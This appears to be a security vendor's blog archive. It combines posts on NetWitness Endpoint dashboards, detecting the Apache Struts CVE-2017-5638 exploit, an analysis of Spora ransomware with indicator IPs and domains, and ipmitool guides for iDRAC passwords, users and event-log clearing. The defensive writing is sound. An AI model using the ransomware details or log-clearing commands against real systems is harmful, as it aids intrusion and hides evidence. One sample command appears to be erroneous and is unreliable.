If you have a favourite Meta Group you use, just add these Meta keys to it. Otherwise, create a new Meta Group called NW Endpoint Tracking. Here's what I have in mine:

 

Note - I have all my Meta Keys set to open for testing purposes. Best Practice is to set did to open, and all other keys to closed. This gives better performance with large datasets by not sending 22 queries to the Concentrator at the same time.

Here's what you should be able to see:

 

By mapping the process name into the filename meta key, the data will trigger any feeds that are looking for matches on filename. The Investigation and Hunting feeds match this data:

8. Configure a new Column Group

The default view for reviewing logs in the Event Viewer is very simple:

 

We can change this view to show the meta extracted from our NWE Tracking logs. Create a new Column Group

 

Note that you can change the "Display Name" to something you like - this will be used for the column heading:

 

9. Configure Report Engine Rules and Charts

Use the new device.type = 'nwe_tracking' to create rules to use for reports and charts. Here's a rule to query on the Source Process (parent.process):

 

results:

 

We can then use the rule as a basis for a chart:

 

 

10. Create a RSA NetWitness Endpoint Dashboard

One you create the charts that you want, you can create a new Dashboard to keep track of your environment. Simply create a new Dashboard, and add your charts as Dashlets using "Reports Realtime Chart"

 

All the files mentioned in this post are available for download in the zip below.

 

Happy Hunting!

 

Thanks to Rui Ataide & Eric Partington for their contributions to this integration.

UPDATE - March 21, 2017 

Due to continued interest in this event and continued public exploitation, we’ve added detection to the HTTP_lua parser.   Customers will get this update automatically via the LIVE update process if they are subscribed to this content.    The following meta is created if the parser is triggered:

 

ioc=”apache struts exploit attempt”

analysis.service=”content-disposition  filename contains null character”

 

Thanks!  

 

 

Since the release of CVE-2017-5638, the RSA Incident Response team has fielded several questions about how to detect this activity.  Proof of concept code is already available and being used to identify vulnerable servers.  Fortunately, detection with Netwitness Packets it is quite easy.

 

The packet decoder contains HTTP parsers that will parse out much of the HTTP headers.  Since this exploit appears to be using a malformed Content-Type entry, we can detect this by examining meta already coming in.

 

One thing to note is that this traffic still appears as valid HTTP traffic.  It appears like a typical POST and has valid HTTP headers with the exception of the malformed Content-Type.

 

 

Another included an HTTP GET.

 

 

One way to find this traffic is using existing meta combined to make new meta.  We can make an app rule out of this.  Lets examine the meta.

 

 

We already have service type of 80 (HTTP)  and a long content meta.  We can pick out interesting pieces from the content meta key such as "_member".

 

Therefore an application rule might look like:

 

service=80 && content contains '_member'

 

If we turn that into a query to double-check our work, we should get the session(s) of interest:

 

 

 

I've attached a sample PCAP of the POST if you need to replay.  Another, showing an HTTP GET was found on the SANS Internet Storm Center site here:  Critical Apache Struts 2 Vulnerability (Patch Now!) - SANS Internet Storm Center 

 

Happy Hunting,

 

Chris

Spora, a new variant of ransomware recently identified by security researchers, is written with robustness and features making it more evolved than its counterparts.[1]  Similar to existing ransomware, Spora will encrypt a user’s files and hold then hostage until a payment has been made.  However, Spora differs in numerous ways from other ransomware.  For example, it can encrypt files offline, offers a tiered payment system, and utilizes a professional-looking payment portal, which includes a Chat tool.

 

Although Spora mainly targets Russian-speaking victims, it has begun spreading globally with reported infections in Saudi Arabia, Austria, the Netherlands, and a few other Western European countries.[2] 

 

Spora propagates via spam emails, a fake Chrome font pack, or the RIG-v exploit kit (EK).  Most often it will use spam email to infect victims, disguised as an invoice from a Russian accounting software business 1C.  The email contains one attachment, an HTA file.  When double-clicked, the HTA file runs Jscript loader code and drops two files into the %TEMP% directory and executes both-

 

  • doc_6d518e.docx
  • 81063163ded.exe

 

The first opens a text reader, such as Notepad or Word, but displays invalid data.  This is believed to serve as a diversion.  While the victim tries to figure out why they have a corrupt text document, the second file has already begun encrypting the user’s files.

 

Security researchers have also discovered Spora spreading by means of a fake Chrome browser font pack update.[3]  The RIG-v EK is being used to deliver JavaScript code which displays a pop-up window asking the user if they wish to download a Chrome Font Pack. If a user accepts, the Spora payload is delivered in the form of a single executable file named Update.exe. Running the .exe will begin the process of encrypting the user’s files.

 

Since all the key generation and encryption happens locally, it precludes the need for the malware to communicate with any C2.  In other words, an internet connection is not needed to ensure a successful campaign.  Also, since the encryption keys are specific to each victim (even specific to each victim’s files), there is no ‘master’ unlock key like some other ransomware[4].

 

Spora uses a mixture of static and generated RSA and AES keys to encrypt victim data.  The steps are as follows:

 

  • Step 1: The process begins with the malware using a hardcoded AES key to extract an embedded RSA public key from the malware.
  • Step 2: The malware then generates a new RSA public/private key pair as well as a new AES key.
  • Step 3: The new AES key is used to encrypt the newly generated RSA private key.
  • Step 4: The new AES key is then encrypted using the malware’s initial, embedded public RSA key.
  • Step 5: The victim’s files are encrypted using AES keys that are generated individually for each file.
  • Step 6: These individual AES keys are encrypted with the RSA public key generated in Step 2 and are stored with the associated encrypted file.

 

 

One of the hallmarks of the Spora campaign is the high level of customer service provided to victims.  If a victim decides to pay the ransom fee, they are instructed to connect to a payment portal that is well-organized with a customer-friendly UI.  The portal includes a real-time chat tool for communicating with the threat actors.  It is believed that this level of customer service and communication are provided to encourage payments from the victims.

 

In addition to file decryption, the portal offers additional services for purchase. For example, victims can pay to receive immunity from future infection, remove all Spora related files from their computer, or decrypt a single file. 

 

Detection:

Some variants of Spora can be detected using NetWitness for Logs and Packets (NWLP).  To enable detection, verify that your installation has been configured with this content:

 

  • Fingerprint_zip parser
  • Hunting Pack

 

Screenshots for finding both of these pieces of content are shown here.

Fingerprint_zip parser

 

Hunting Pack-

 

 

Once you have subscribed to and enabled this content in your environment, NWLP will detect Spora infections that use the HTA method referenced above.  Shown below is the parser actively detecting a Spora Zip file attachment.

 

 

These IOCs have been added to the Live Third Party feed.

186.2.161.51

52.85.184.201

52.85.184.216

spora.bz

spora.biz

 

 

Thanks to Ray Carney, Kevin Stear, Bill Motley, and Steven Sipes for their contributions.

 

References:

[1] http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/

[2] http://virusguides.com/spora-ransomware-spreads-worldwide/

[3] http://virusguides.com/chrome-malware-campaign-drops-spora-ransomware/

[4] http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/

 

Additional reading:

https://id-ransomware.malwarehunterteam.com/index.php

https://www.scmagazine.com/spora-ransomware-targets-russian-users-and-encrypts-offline/article/631056/

http://www.forbes.com/sites/leemathews/2017/01/12/spora-is-the-highly-sophisticated-future-of-ransomware/#13c88d5a608b

https://www.bleepingcomputer.com/news/security/spora-ransomware-works-offline-has-the-most-sophisticated-payment-site-as-of-yet/

https://www.symantec.com/security_response/writeup.jsp?docid=2017-011107-2825-99

http://www.malware-traffic-analysis.net/2017/01/30/index3.html

When you can't get to the data center and attach a monitor to configure the network settings for the iDRAC, you can use the IPMITool command line utility from an SSH terminal window, like PuTTY.

 

Listed below are the network configuration commands I found helpful.

 

Set the iDRAC Network Configuration

Commands:

      ipmitool lan set <command> <parameter>

      ipmitool mc reset warm

 

Example:

[root@APPLIANCE14 ~]# ipmitool lan set 1 ipsrc static

[root@APPLIANCE14 ~]# ipmitool lan set 1 ipaddr 10.0.0.100

[root@APPLIANCE14 ~]# ipmitool lan set 1 netmask 255.255.255.0

[root@APPLIANCE14 ~]# ipmitool lan set 1 defgw ipaddr 10.0.0.1

[root@APPLIANCE14 ~]# ipmitool mc reset warm

 

List the iDRAC Network Configuration

Command:

      ipmitool lan print

 

Example:

[root@APPLIANCE14 ~]# ipmitool lan print

Set in Progress : Set Complete
Auth Type Support : NONE MD2 MD5 PASSWORD
Auth Type Enable : Callback : MD2 MD5
: User : MD2 MD5
: Operator : MD2 MD5
: Admin : MD2 MD5
: OEM :
IP Address Source : Static Address
IP Address : 10.0.0.100
Subnet Mask : 255.255.255.0
MAC Address : 54:00:00:00:00:00
SNMP Community String : public
IP Header : TTL=0x40 Flags=0x40 Precedence=0x00 TOS=0x10
BMC ARP Control : ARP Responses Enabled, Gratuitous ARP Disabled
Gratituous ARP Intrvl : 2.0 seconds
Default Gateway IP : 10.0.0.1
Default Gateway MAC : 00:00:00:00:00:00
Backup Gateway IP : 0.0.0.0
Backup Gateway MAC : 00:00:00:00:00:00
802.1q VLAN ID : Disabled
802.1q VLAN Priority : 0
RMCP+ Cipher Suites : 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
Cipher Suite Priv Max : Xaaaaaaaaaaaaaa
: X=Cipher Suite Unused
: c=CALLBACK
: u=USER
: o=OPERATOR
: a=ADMIN
: O=OEM

 

Full List of Options for 'ipmitool lan set'

[root@APPLIANCE14 ~]# ipmitool lan set

 

usage: lan set <channel> <command> <parameter>

 

LAN set command/parameter options:
ipaddr <x.x.x.x>                         Set channel IP address
netmask <x.x.x.x>                     Set channel IP netmask
macaddr <x:x:x:x:x:x>               Set channel MAC address
defgw ipaddr <x.x.x.x>              Set default gateway IP address
defgw macaddr <x:x:x:x:x:x>    Set default gateway MAC address
bakgw ipaddr <x.x.x.x>             Set backup gateway IP address
bakgw macaddr <x:x:x:x:x:x>    Set backup gateway MAC address
password <password>               Set session password for this channel
snmp <community string>           Set SNMP public community string
user                                              Enable default user for this channel
access <on|off>                           Enable or disable access to this channel
alert <on|off>                                Enable or disable PEF alerting for this channel
arp respond <on|off>                    Enable or disable BMC ARP responding
arp generate <on|off>                  Enable or disable BMC gratuitous ARP generation
arp interval <seconds>               Set gratuitous ARP generation interval
vlan id <off|<id>>                         Disable or enable VLAN and set ID (1-4094)
vlan priority <priority>                  Set vlan priority (0-7)
auth <level> <type,..>                  Set channel authentication types
      level = CALLBACK, USER, OPERATOR, ADMIN
      type = NONE, MD2, MD5, PASSWORD, OEM
      ipsrc <source> Set IP Address source   
      none = unspecified source
      static = address manually configured to be static
      dhcp = address obtained by BMC running DHCP
      bios = address loaded by BIOS or system software
cipher_privs XXXXXXXXXXXXXXX Set RMCP+ cipher suite privilege levels
      X = Cipher Suite Unused
      c = CALLBACK
      u = USER   
      o = OPERATOR
      a = ADMIN
      O = OEM

When you don't know the username and password or you need to change them, you can use IPMITool to perform this task along with other user management tasks from an SSH terminal windows, like PuTTY.

 

Listed below are the user management commands I found helpful.

 

Listing the iDRAC User

Command:

      ipmitool user list 2

 

Example:

[root@APPLIANCE14 ~]# ipmitool user list 2

ID       Name                Callin    Link Auth    IPMI Msg    Channel Priv Limit
2         root                    true      true             true              ADMINISTRATOR

 

Enabling the iDRAC User

Command:

      ipmitool user enable 2

 

Example:

[root@APPLIANCE14 ~]# ipmitool user enable 2

 

Disabling the iDRAC User

Command:

      ipmitool user disable 2

 

Example:

[root@APPLIANCE14 ~]# ipmitool user disable 2

 

Set the iDRAC User Password

Command:

      ipmitool user set password 2 <Password>

 

Example:

[root@APPLIANCE14 ~]# ipmitool user set password 2 themaster01

 

Rename the iDRAC Root User

Command:

      ipmitool user set name 2 <newusername>

 

Example:

[root@APPLIANCE14 ~]# ipmitool user set name 2 bueno

[root@APPLIANCE14 ~]# ipmitool user list 2
ID       Name                Callin    Link Auth    IPMI Msg    Channel Priv Limit
2         bueno                true      true             true              ADMINISTRATOR

 

Full List of Options for 'ipmitool user'

[root@APPLIANCE14 ~]# ipmitool user set name

 

User Commands:  summary [<channel number>]
                                       list [<channel number>]
                                       set name <user id> <username>
                                       set password <user id> [<password>]
                                       disable <user id>
                                       enable <user id>
                                       priv <user id> <privilege level> [<channel number>]
                                       test <user id> <16|20> [<password]>

While trying to sort out a system that was rebooting randomly due to a hardware failure, I discovered you can view the System Event Log on the iDRAC using the IPMITool.

 

Listed below are the commands to view the SEL Log on the iDRAC.

 

List the iDRAC System Event Log (SEL)

Commands:

      ipmitool sel list

 

Example:

[root@APPLIANCE14 ~]# ipmitool sel list
1 | 08/19/2015 | 19:06:01 | Event Logging Disabled #0x72 | Log area reset/cleared | Asserted
2 | 10/16/2015 | 19:47:38 | Power Supply #0x63 | Power Supply AC lost | Asserted
3 | 10/16/2015 | 19:47:39 | Power Supply #0x74 | Redundancy Lost
4 | 10/16/2015 | 19:53:20 | Power Supply #0x74 | Redundancy Lost
5 | 10/16/2015 | 19:53:22 | Power Supply #0x62 | Power Supply AC lost | Asserted
6 | 10/16/2015 | 19:56:59 | Power Supply #0x62 | Power Supply AC lost | Deasserted
7 | 10/16/2015 | 19:57:02 | Power Supply #0x74 | Fully Redundant
8 | 03/18/2016 | 18:52:15 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
9 | 03/18/2016 | 18:52:15 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
a | 03/18/2016 | 18:52:15 | Unknown #0x1a |
b | 01/25/2017 | 16:51:51 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
c | 01/25/2017 | 16:51:51 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
d | 01/25/2017 | 16:51:51 | Unknown #0x1a |
e | 01/26/2017 | 15:16:36 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
f | 01/26/2017 | 15:16:36 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
10 | 01/26/2017 | 15:16:36 | Unknown #0x1a |
11 | 01/26/2017 | 15:21:31 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
12 | 01/26/2017 | 15:21:31 | Critical Interrupt #0x18 | Bus Fatal Error | Asserted
13 | 01/26/2017 | 15:21:31 | Unknown #0x1a |

 

Show the iDRAC System Event Log Information

Commands:

      ipmitool sel

 

Example:

[root@APPLIANCE14 ~]# ipmitool sel
SEL Information
Version                   : 1.5 (v1.5, v2 compliant)
Entries                    : 1
Free Space             : 16368 bytes
Percent Used          : 0%
Last Add Time         : 02/28/2017 01:41:15
Last Del Time          : 02/28/2017 01:41:15
Overflow                  : false
Supported Cmds     : 'Reserve'

 

Clear the iDRAC System Event Log

Commands:

      ipmitool sel clear

 

Example:

[root@APPLIANCE14 ~]# ipmitool sel clear
Clearing SEL. Please allow a few seconds to erase.

When doing several changes at a time on several systems you can use the IPMITool to execute commands from a file allowing you to script some of the iDRAC configurations.  In my case I was wanting to change the username and password on the iDRACs of several systems.

 

Listed below are some examples:

 

Rename Root User, Set New Password and Clear the SEL

Commands:

      ipmitool exec <command_file>

 

Example:

[root@APPLIANCE14 ~]# ipmitool exec idracconfiguration.txt

 

Contents of the 'idracconfiguration.txt'

ipmitool user set name 2 bueno

ipmitool user set password 2 BuenoIsG00d

ipmitool user set name 2 enable

ipmitool user list

ipmitool sel clear

 

The above text file shows renaming the 'root' user, changing the password, listing the user to verify the change, and clearing the System Event Log.  You could also do this with network settings as well.

Filter Blog

By date: By tag: